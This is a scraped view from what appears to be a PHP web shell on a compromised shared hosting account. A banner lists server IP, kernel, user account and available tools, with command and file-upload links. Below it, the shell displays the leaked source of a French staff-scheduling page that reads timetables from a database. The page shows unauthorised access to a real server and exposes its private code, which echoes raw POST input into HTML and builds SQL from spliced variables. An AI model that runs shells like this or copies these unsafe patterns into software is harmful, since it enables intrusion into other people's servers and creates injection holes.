|
Server IP : 10.128.40.6 / Your IP : 216.73.216.23 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MC/temp/12650/../1322/../../../mcg/.github/../pages/code/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$pagemenu = basename($_SERVER["PHP_SELF"]) ;
// exit() ;
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Enregistrer le titre de la page --><title> LogMCPRO | Client</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<!-- DataTables -->
<link rel="stylesheet" href="../plugins/datatables-bs4/css/dataTables.bootstrap4.css">
<!-- overlayScrollbars -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item"><a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a></li>
<li></li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<?php include('menu.php'); ?>
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1 class="m-0 text-dark"></h1>
</div><!-- /.col -->
<div class="col-sm-6">
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<div class="content">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-header"><h5><i class="nav-icon fas fa-business-time"></i>GESTION DES PRESTATIONS POUR LES SALARIES</h5></div>
<form role="form" method="POST" action="">
<div class="card-body">
<div class="row">
<div class="form-group col-md-3">
<label>Dat prestaion</label>
<div class="input-group">
<div class="input-group-prepend"> <span class="input-group-text"><i class="far fa-calendar-alt"></i></span></div>
<input type="date" class="form-control" id="presta_date" name="presta_date" placeholder="jj/mm/aaaa" value="<?php if ( !empty($_POST['presta_date']) ) echo $_POST['presta_date']; ?>" >
</div>
</div>
<div class="form-group col-md-3">
<label>L'heure de debut</label>
<div class="input-group">
<div class="input-group-prepend"></div>
<input type="time" id="appt" min="05:00" max="22:00" class="form-control" name="presta_Hdeb" value="<?php if ( !empty($_POST['presta_Hdeb']) ) echo $_POST['presta_Hdeb']; ?>">
</div>
</div>
<div class="form-group col-md-3">
<label>L'heure de fin</label>
<div class="input-group">
<div class="input-group-prepend"></div>
<input type="time" id="appt" min="05:00" max="22:00" class="form-control" name="presta_Hfin" value="<?php if ( !empty($_POST['presta_Hfin']) ) echo $_POST['presta_Hfin']; ?>">
</div>
</div>
<div class="col-sm-3">
<div class="form-group"><label><br></label>
<button type="submit" class="btn btn-block bg-primary">Rechercher</button>
</div>
</div>
</div>
</div>
</form>
<?php if ( !empty($_POST['presta_Hfin']) ) {
// $qm = dbi_query("SELECT * FROM `disponibilite` WHERE `salarie_id` = $salarie_id") ;
$req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
$startweek = date("Ymd", strtotime('monday this week', strtotime($_POST['presta_Hfin'] )));
$endweek = date("Ymd", strtotime('sunday this week', strtotime($_POST['presta_Hfin'] ))) ;
$day1 = date("w", strtotime( $_POST['presta_date']));
$prpresta_Hdeb=str_replace(':','',$_POST['presta_Hdeb']);
$prpresta_Hfin=str_replace(':','',$_POST['presta_Hfin']);
// $i=0;
?>
<br clear="all" />
<div id="tab">
<div class="box-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th style="text-align:center;">Nom salarie</th>
<th style="text-align:center;">Contrat</th>
<th style="text-align:center;">Travaillées</th>
<th style="text-align:center;">semaine prestation</th>
</tr>
</thead>
<tbody>
<?php while( $sal = dbi_fetch_row($req) ) {
$interv = $sal['salarie_id'] ;
$ok = false;
$qm = dbi_query( " SELECT * FROM disponibilite WHERE salarie_id = ".$sal['salarie_id'] ) ;
while($dsqm=dbi_fetch_row($qm)){
$heurd = $dsqm['disponibilite_heurs_debu'] ;
$heurd = new DateTime($heurd);
$heurf = $dsqm['disponibilite_heurs_fin'] ;
$heurf = new DateTime($heurf);
$heurdeb = date_format($heurf,"Y-m-d");
$heurfin = date_format($heurf,"Y-m-d");
$mintedeb = date_format($heurd,"Hi");
$mintefin = date_format($heurf,"Hi");
$day2 = date("w", strtotime( $heurdeb));
if( $day1 == $day2){
if( $prpresta_Hdeb >= $mintedeb && $mintefin >= $prpresta_Hfin )
$ok = true;
// echo $mintedeb .' ** '.$mintefin.'<br>';
}
}
if( $ok == true)
{
$contrat = dbi_fetch_row(dbi_query("SELECT contrat_heure FROM ".TABLE_CONTRAT." WHERE contrat_debut <= $endweek AND agence_id=$agence AND (contrat_fin IS NULL OR contrat_fin > $startweek OR contrat_fin=0) AND inter_id = $interv AND Contrat_type_ID != 12 ORDER BY contrat_debut DESC LIMIT 1")) ;
$contrattr = 0;
$debut1 = $startweek ;
$end1 = $endweek ;
while ($debut1 <= $end1 )
{
$q = dbi_query("
SELECT * FROM PRESTATIONS p where presta_date_debut <= $debut1 AND (p.presta_date_fin >= $debut1 OR p.presta_date_fin IS NULL)
AND ( p.presta_id IN (select presta_id FROM PRESTATIONS WHERE salarie_id = $interv ) OR p.presta_id IN ( select presta_id FROM PRESTATIONS_MODIF WHERE salarie_id = $interv ) )
");
while($presttr = dbi_fetch_row($q))
{
$date_presta_sem = $presttr['presta_date_debut'] ;
$q1 = dbi_query("SELECT * FROM PRESTATIONS_MODIF WHERE presta_id = ".$presttr['presta_id']." order by start, modif_id ") ;
while (($mtr = dbi_fetch_row($q1)) && $debut1 >= $mtr['start'])
{
if( $mtr['presta_sem'] != NULL ) $date_presta_sem = $mtr['start'];
$presttr['salarie_id'] = $mtr['salarie_id'] === NULL ? $presttr['salarie_id'] : $mtr['salarie_id'] ;
$presttr['presta_sem'] = $mtr['presta_sem'] === NULL ? $presttr['presta_sem'] : $mtr['presta_sem'] ;
$presttr['presta_jour'] = $mtr['presta_jour'] === NULL ? $presttr['presta_jour'] : $mtr['presta_jour'] ;
$presttr['presta_Hdeb'] = $mtr['presta_Hdeb'] === NULL ? $presttr['presta_Hdeb'] : $mtr['presta_Hdeb'] ;
$presttr['presta_Hduree'] = $mtr['presta_Hduree'] === NULL ? $presttr['presta_Hduree'] : $mtr['presta_Hduree'] ;
}
if( $presttr['salarie_id'] == $interv ) {
$day = date("w", strtotime( int2date_autre_format($debut1)));
if( $day == $presttr['presta_jour'] OR ( $debut1 == $presttr['presta_date_debut'] && $presttr['presta_date_debut'] == $presttr['presta_date_fin'] ) ){
$EXP = dbi_fetch_row(dbi_query("SELECT date_presta FROM EXCEPTIONS WHERE presta_id = ".$presttr['presta_id']." AND date_presta = ".$debut1." " )) ; ;
if($EXP ){} else {
$contrattr += $presttr['presta_Hduree'] ;
}
}
}
}
$debut1 = date("Ymd", strtotime("+1 day", strtotime($debut1)));
}
$contrattr = $contrattr/60 ;
$contrattr = number_format( $contrattr , 2, ',', ' ');
?>
<tr>
<td style="text-align:left;"><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']?></td>
<td style="text-align:center;"><span class="badge bg-info"> <?php echo "<b>".number_format( $contrat['contrat_heure'] , 2, ',', ' ') .'</b>';?></span> </td>
<td style="text-align:center;"><span class="badge bg-success"><?php echo "<b>".$contrattr."</b>" ;?> </span> </td>
<td style="text-align:center;"><?=' du <b>'.int2date($startweek).'</b> à <b>'.int2date($endweek).'</b>' ;?></td>
</tr>
<?php
}
} ?>
</table>
</div>
</div>
<?php } ?>
</div>
</div>
</div>
</div>
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../plugins/datatables/jquery.dataTables.js"></script>
<script src="../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
</body>
</html>